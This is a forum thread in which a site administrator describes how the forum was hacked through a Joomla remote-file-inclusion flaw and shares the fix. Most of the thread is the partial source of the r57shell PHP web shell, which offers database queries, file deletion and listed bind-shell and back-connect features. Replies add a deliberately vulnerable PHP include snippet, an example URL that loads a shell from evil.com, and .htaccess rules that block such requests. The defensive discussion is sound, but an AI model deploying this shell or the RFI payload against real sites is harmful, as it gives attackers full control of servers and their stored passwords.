After CodeCall had been hacked several times I sought more intensely how to beat these script kiddies. I thought that I had secured everything and prevent any further attacks but I found that I was wrong.
Below is the script used to gain access to CodeCall
How this script worksCode:<?php
/******************************************************************************************************/
/* ## ##
/* ## ##
/* #######
/* ## ##
/* ## ##
/*
/*
/* r57shell.php - скрипт на пхп позволяющий вам выполнять шелл команды на сервере через браузер
/* Версия: 1.23
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/******************************************************************************************************/
/* ~~~ Настройки ~~~ */
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = "1.23";
if(version_compare(phpversion(), '4.1.0') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_SERVER as $k=>$v)
{
$_SERVER[$k] = stripslashes($v);
}
}
/* ~~~ Аутентификация ~~~ */
// $auth = 1; - Аутентификация включена
// $auth = 0; - Аутентификация выключена
$auth = 0;
// Логин и пароль для доступа к скрипту
// НЕ ЗАБУДЬТЕ СМЕНИТЬ ПЕРЕД РАЗМЕЩЕНИЕМ НА СЕРВЕРЕ!!!
$name='hackhell'; // логин пользователя
$pass='biribizidurdursun'; // пароль пользователя
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
{
header('WWW-Authenticate: Basic realm="shell"');
header('HTTP/1.0 401 Unauthorized');
exit("<b><a href=http://www.hackhell.com>www.hackhell.com</a> : Access Denied</b>");
}
}
$head = '<!-- Здравствуй Вася -->
<html>
<head>
<title>shell</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<STYLE>
tr {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
td {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
.table1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT: #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
BACKGROUND-COLOR: #D4D0C8;
}
.td1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT: #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
font: 7pt Verdana;
}
.tr1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT: #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
}
table {
BORDER-RIGHT: #eeeeee 1px outset;
BORDER-TOP: #eeeeee 1px outset;
BORDER-LEFT: #eeeeee 1px outset;
BORDER-BOTTOM: #eeeeee 1px outset;
BACKGROUND-COLOR: #D4D0C8;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
select {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
submit {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
}
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
BODY {
margin-top: 1px;
margin-right: 1px;
margin-bottom: 1px;
margin-left: 1px;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>';
if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
if ($_POST['cmd']=="db_query")
{
echo $head;
switch($_POST['db'])
{
case 'MySQL':
if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
$db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
if($db)
{
if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }
$querys = @explode(';',$_POST['db_query']);
foreach($querys as $num=>$query)
{
if(strlen($query)>5){
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
$res = @mysql_query($query,$db);
$error = @mysql_error($db);
if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
else {
if (@mysql_num_rows($res) > 0)
{
$sql2 = $sql = $keys = $values = '';
while (($row = @mysql_fetch_assoc($res)))
{
$keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row));
$values = @array_values($row);
foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values);
$sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>";
}
echo "<table width=100%>";
$sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
$sql .= $sql2;
echo $sql;
echo "</table><br>";
}
else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
}
@mysql_free_result($res);
}
}
@mysql_close($db);
}
else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>";
break;
case 'MSSQL':
if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
$db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
if($db)
{
if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
$querys = @explode(';',$_POST['db_query']);
foreach($querys as $num=>$query)
{
if(strlen($query)>5){
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
$res = @mssql_query($query,$db);
if (@mssql_num_rows($res) > 0)
{
$sql2 = $sql = $keys = $values = '';
while (($row = @mssql_fetch_assoc($res)))
{
$keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row));
$values = @array_values($row);
foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values);
$sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>";
}
echo "<table width=100%>";
$sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
$sql .= $sql2;
echo $sql;
echo "</table><br>";
}
/* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */
@mssql_free_result($res);
}
}
@mssql_close($db);
}
else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>";
break;
case 'PostgreSQL':
if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
$str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
$db = @pg_connect($str);
if($db)
{
$querys = @explode(';',$_POST['db_query']);
foreach($querys as $num=>$query)
{
if(strlen($query)>5){
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
$res = @pg_query($db,$query);
$error = @pg_errormessage($db);
if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
else {
if (@pg_num_rows($res) > 0)
{
$sql2 = $sql = $keys = $values = '';
while (($row = @pg_fetch_assoc($res)))
{
$keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row));
$values = @array_values($row);
foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values);
$sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>";
}
echo "<table width=100%>";
$sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
$sql .= $sql2;
echo $sql;
echo "</table><br>";
}
else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
}
@pg_free_result($res);
}
}
@pg_close($db);
}
else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>";
break;
case 'Oracle':
$db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; }
else
{
$querys = @explode(';',$_POST['db_query']);
foreach($querys as $num=>$query)
{
if(strlen($query)>5) {
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
$stat = @ociparse($db, $query);
@ociexecute($stat);
if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; }
else
{
$rowcount = @ocirowcount($stat);
if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";}
else {
echo "<table width=100%><tr>";
for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b> ".htmlspecialchars(@ocicolumnname($stat, $j))." </b></font></td>"; }
echo "</tr>";
while(ocifetch($stat))
{
echo "<tr>";
for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2> ".htmlspecialchars(@ociresult($stat, $j))." </font></td>"; }
echo "</tr>";
}
echo "</table><br>";
}
@ocifreestatement($stat);
}
}
}
@ocilogoff($db);
}
break;
}
echo "<form name=form method=POST>";
echo in('hidden','db',0,$_POST['db']);
echo in('hidden','db_port',0,$_POST['db_port']);
echo in('hidden','mysql_l',0,$_POST['mysql_l']);
echo in('hidden','mysql_p',0,$_POST['mysql_p']);
echo in('hidden','mysql_db',0,$_POST['mysql_db']);
echo in('hidden','cmd',0,'db_query');
echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
echo "</form>";
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
}
if(isset($_GET['delete']))
{
@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
}
if(isset($_GET['tmp']))
{
@unlink("/tmp/bdpl");
@unlink("/tmp/back");
@unlink("/tmp/bd");
@unlink("/tmp/bd.c");
@unlink("/tmp/dp");
@unlink("/tmp/dpc");
@unlink("/tmp/dpc.c");
}
if(isset($_GET['phpini']))
{
echo $head;
function U_value($value)
{
if ($value == '') return '<i>no value</i>';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
function U_wordwrap($str)
{
$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
}
if (@function_exists('ini_get_all'))
{
$r = '';
echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
foreach (@ini_get_all() as $key=>$value)
{
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
}
echo $r;
echo '</table>';
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['cpu']))
{
echo $head;
echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
$cpuf = @file("cpuinfo");
if($cpuf)
{
$c = @sizeof($cpuf);
for($i=0;$i<$c;$i++)
{
$info = @explode(":",$cpuf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
}
echo '</table>';
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['mem']))
{
echo $head;
echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
$memf = @file("meminfo");
if($memf)
{
$c = sizeof($memf);
for($i=0;$i<$c;$i++)
{
$info = explode(":",$memf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
}
echo '</table>';
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
/*
Выбор языка
$language='eng' - русский
$language='ru' - английский
*/
$language='eng';
$lang=array(
'ru_text1' =>'Выполненная команда',
'ru_text2' =>'Выполнение команд на сервере',
'ru_text3' =>'Выполнить команду',
'ru_text4' =>'Рабочая директория',
'ru_text5' =>'Загрузка файлов на сервер',
'ru_text6' =>'Локальный файл',
'ru_text7' =>'Алиасы',
'ru_text8' =>'Выберите алиас',
'ru_butt1' =>'Выполнить',
'ru_butt2' =>'Загрузить',
'ru_text9' =>'Открытие порта и привязка его к /bin/bash',
'ru_text10'=>'Открыть порт',
'ru_text11'=>'Пароль для доступа',
'ru_butt3' =>'Открыть',
'ru_text12'=>'back-connect',
'ru_text13'=>'IP-адрес',
'ru_text14'=>'Порт',
'ru_butt4' =>'Выполнить',
'ru_text15'=>'Загрузка файлов с удаленного сервера',
'ru_text16'=>'Использовать',
'ru_text17'=>'Удаленный файл',
'ru_text18'=>'Локальный файл',
'ru_text19'=>'Exploits',
'ru_text20'=>'Использовать',
'ru_text21'=>'Новое имя',
'ru_text22'=>'datapipe',
'ru_text23'=>'Локальный порт',
'ru_text24'=>'Удаленный хост',
'ru_text25'=>'Удаленный порт',
'ru_text26'=>'Использовать',
'ru_butt5' =>'Запустить',
'ru_text28'=>'Работа в safe_mode',
'ru_text29'=>'Доступ запрещен',
'ru_butt6' =>'Сменить',
'ru_text30'=>'Просмотр файла',
'ru_butt7' =>'Вывести',
'ru_text31'=>'Файл не найден',
'ru_text32'=>'Выполнение PHP кода',
'ru_text33'=>'Проверка возможности обхода ограничений open_basedir через функции cURL',
'ru_butt8' =>'Проверить',
'ru_text34'=>'Проверка возможности обхода ограничений safe_mode через функцию include',
'ru_text35'=>'Проверка возможности обхода ограничений safe_mode через загрузку файла в mysql',
'ru_text36'=>'База',
'ru_text37'=>'Логин',
'ru_text38'=>'Пароль',
'ru_text39'=>'Таблица',
'ru_text40'=>'Дамп таблицы базы данных',
'ru_butt9' =>'Дамп',
'ru_text41'=>'Сохранить в файле',
'ru_text42'=>'Редактирование файла',
'ru_text43'=>'Редактировать файл',
'ru_butt10'=>'Сохранить',
'ru_butt11'=>'Редактировать',
'ru_text44'=>'Редактирование файла невозможно! Доступ только для чтения!',
'ru_text45'=>'Файл сохранен',
'ru_text46'=>'Просмотр phpinfo()',
'ru_text47'=>'Просмотр настроек php.ini',
'ru_text48'=>'Удаление временных файлов',
'ru_text49'=>'Удаление скрипта с сервера',
'ru_text50'=>'Информация о процессоре',
'ru_text51'=>'Информация о памяти',
'ru_text52'=>'Текст для поиска',
'ru_text53'=>'Искать в папке',
'ru_text54'=>'Поиск текста в файлах',
'ru_butt12'=>'Найти',
'ru_text55'=>'Только в файлах',
'ru_text56'=>'Ничего не найдено',
'ru_text57'=>'Создать/Удалить Файл/Директорию',
'ru_text58'=>'Имя',
'ru_text59'=>'Файл',
'ru_text60'=>'Директорию',
'ru_butt13'=>'Создать/Удалить',
// See attached script for complete version!
?>
Using injection it gives the abuser full access to all of your files in a semi-shell environment. The user has the ability to execute any commands such as 'ls', 'vi', or even 'rm'. This means they can read all of your configuration files which contain all of your SQL passwords.
The call function replaces mosConfig_absolute_path in your Joomla! configuration.
Example Call
http://www.codecall.net/?&mosConfig_...e.com/c57.txt?
Results
See attachment
Solution
The easiest solution is to turn on the SEO feature of Joomla! in your Global Configuration of the Administration Panel. Don't forget to rename htaccess.txt to .htaccess. This will cause a call like above to error 403 Forbidden.
Last edited by Jordan; 10-23-2007 at 07:06 AM.
Very nice
Haha OWNED! I wonder how you found that script!! And as far as I can see it only works with local files (ie where the script is hosted) so still.. how do they upload it to your server?
Last edited by TcM; 10-27-2007 at 02:44 AM.
Programming Professional
Is that r57?
@TheComputerMaster
It doesn't have to be uploaded. Is called RFI (remote file inclusion), like:
http://www.url.com/index.php?page=ht...l.com/r57.php?
I still can't understand... I mean how did he use the RFI on that script?! Where did he enter that?
Programming Professional
Well, look at the following PHP Script:
The URL would be for example:Code:<?php
if(isset($_REQUEST['doc']))
{
$doc = $_REQUEST['doc'];
//Anti RFI-protection
$doc = str_replace('http://','',$doc);
include($doc);
}
?>
Well, that script is vulnerable, so, we can replace location_of_true_document.html with our address to the c99/r57 shell.Code:http://example.com/index.php?doc=location_of_true_document.html
PHP on the victim's site will run our remotely accesed scriptCode:http://example.com/index.php?doc=http://evil.com/r57.php?
Hope you understand now.
So we take the vulnerable url, for example http://www.joomlaisvunerable.com/ind..._is_hosted.php
If this is right then I understood.
Thanks! It's just using the $_GET command.
Learning Programmer
So turning on the Joomla's SEO feature on will disable the $_GET command.. or why does it stop it from being vulnerable?
While I understood very little of that code, I still appreciate it's complexity. And nice work for finding it!
Actually, it isn't the SEO component in Joomla! that blocks it and you could easily block this with an .htaccess file (which is what happens). When you enable the SEO component you have to enable their default .htaccess file by renaming htaccess.txt to .htaccess.
Anyway, inside of this .htaccess file is something that blocks the mosConfig from being set:
Along with that there are several other security blocks:Code:# Block out any script trying to set a mosConfig value through the URL RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
You could leave the SEO component disabled but I do recommend you put all of these values in a .htaccess on your Joomla! ran site.Code:# Block out any script trying to base64_encode crap to send via URL RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR] # Block out any script that includes a <script> tag in URL RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR] # Block out any script trying to set a PHP GLOBALS variable via URL RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR] # Block out any script trying to modify a _REQUEST variable via URL RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) # Send all blocked request to homepage with 403 Forbidden error! RewriteRule ^(.*)$ index.php [F,L]
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